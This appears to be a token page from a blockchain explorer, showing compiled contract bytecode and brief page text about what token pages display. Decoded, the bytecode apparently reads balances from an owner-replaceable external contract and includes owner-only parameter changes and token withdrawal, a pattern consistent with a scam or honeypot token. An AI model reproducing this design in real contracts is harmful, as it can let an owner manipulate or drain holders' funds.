0191906000526020600020905b8154815290600101906020018083116104e157829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105e6919061162e565b60405180910390a36001905092915050565b60055481565b60075481565b60065481565b600081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106989190611866565b92505081905550816106a985611092565b6106b39190611866565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508161070084611092565b61070a919061189a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107aa919061162e565b60405180910390a3600190509392505050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900460ff1681565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fcee45f4836040518263ffffffff1660e01b8152600401610853919061162e565b602060405180830381865afa158015610870573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089491906118e3565b9050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461092b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109229061195c565b60405180910390fd5b80600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ee5e758c306040518263ffffffff1660e01b81526004016109c791906116ab565b6020604051808303816000875af11580156109e6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0a91906119a8565b5050565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b295a00e6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac791906118e3565b905090565b60026020528060005260406000206000915090505481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b9061195c565b60405180910390fd5b6001600460006101000a81548160ff02191690831515021790555080600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5a9061195c565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c9e91906116ab565b602060405180830381865afa158015610cbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdf91906118e3565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d1c9291906119d5565b6020604051808303816000875af1158015610d3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5f91906119a8565b505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900460ff1681565b60018054610daa90611806565b80601f0160208091040260200160405190810160405280929190818152602001828054610dd690611806565b8015610e235780601f10610df857610100808354040283529160200191610e23565b820191906000526020600020905b815481529060010190602001808311610e0657829003601f168201915b505050505081565b6000600460009054906101000a900460ff16610e4657600080fd5b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610ead57610ea633848461120b565b9050610fc5565b81610eb733611092565b610ec19190611866565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081610f0e84611092565b610f18919061189a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fb8919061162e565b60405180910390a3600190505b92915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461105b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110529061195c565b60405180910390fd5b81600681905550806005819055505050565b6003602052816000526040600020602052806000526040600020600091509150505481565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b81526004016110ef91906116ab565b602060405180830381865afa15801561110c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113091906118e3565b9050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be9061195c565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461125c9190611866565b92505081905550600061126e836107f6565b90508061127a30611092565b611284919061189a565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611324919061162e565b60405180910390a36000818461133a9190611866565b90508061134686611092565b611350919061189a565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061139d610a34565b9050600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156113eb57600080fd5b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611448919061162e565b60405180910390a3600193505050509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561149857808201518184015260208101905061147d565b60008484015250505050565b6000601f19601f8301169050919050565b60006114c08261145e565b6114ca8185611469565b93506114da81856020860161147a565b6114e3816114a4565b840191505092915050565b6000602082019050818103600083015261150881846114b5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061154082611515565b9050919050565b61155081611535565b811461155b57600080fd5b50565b60008135905061156d81611547565b92915050565b6000819050919050565b61158681611573565b811461159157600080fd5b50565b6000813590506115a38161157d565b92915050565b600080604083850312156115c0576115bf611510565b5b60006115ce8582860161155e565b92505060206115df85828601611594565b9150509250929050565b60008115159050919050565b6115fe816115e9565b82525050565b600060208201905061161960008301846115f5565b92915050565b61162881611573565b82525050565b6000602082019050611643600083018461161f565b92915050565b60008060006060848603121561166257611661611510565b5b60006116708682870161155e565b93505060206116818682870161155e565b925050604061169286828701611594565b9150509250925092565b6116a581611535565b82525050565b60006020820190506116c0600083018461169c565b92915050565b600060ff82169050919050565b6116dc816116c6565b82525050565b60006020820190506116f760008301846116d3565b92915050565b60006020828403121561171357611712611510565b5b600061172184828501611594565b91505092915050565b6000602082840312156117405761173f611510565b5b600061174e8482850161155e565b91505092915050565b6000806040838503121561176e5761176d611510565b5b600061177c85828601611594565b925050602061178d85828601611594565b9150509250929050565b600080604083850312156117ae576117ad611510565b5b60006117bc8582860161155e565b92505060206117cd8582860161155e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061181e57607f821691505b602082108103611831576118306117d7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061187182611573565b915061187c83611573565b925082820390508181111561189457611893611837565b5b92915050565b60006118a582611573565b91506118b083611573565b92508282019050808211156118c8576118c7611837565b5b92915050565b6000815190506118dd8161157d565b92915050565b6000602082840312156118f9576118f8611510565b5b6000611907848285016118ce565b91505092915050565b7f4e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b6000611946600983611469565b915061195182611910565b602082019050919050565b6000602082019050818103600083015261197581611939565b9050919050565b611985816115e9565b811461199057600080fd5b50565b6000815190506119a28161197c565b92915050565b6000602082840312156119be576119bd611510565b5b60006119cc84828501611993565b91505092915050565b60006040820190506119ea600083018561169c565b6119f7602083018461161f565b939250505056fea26469706673582212209336cafb263b2dc2a8a98e347fe0768bbcc6503615cc0cb7cbc42048c3eaa4ce64736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.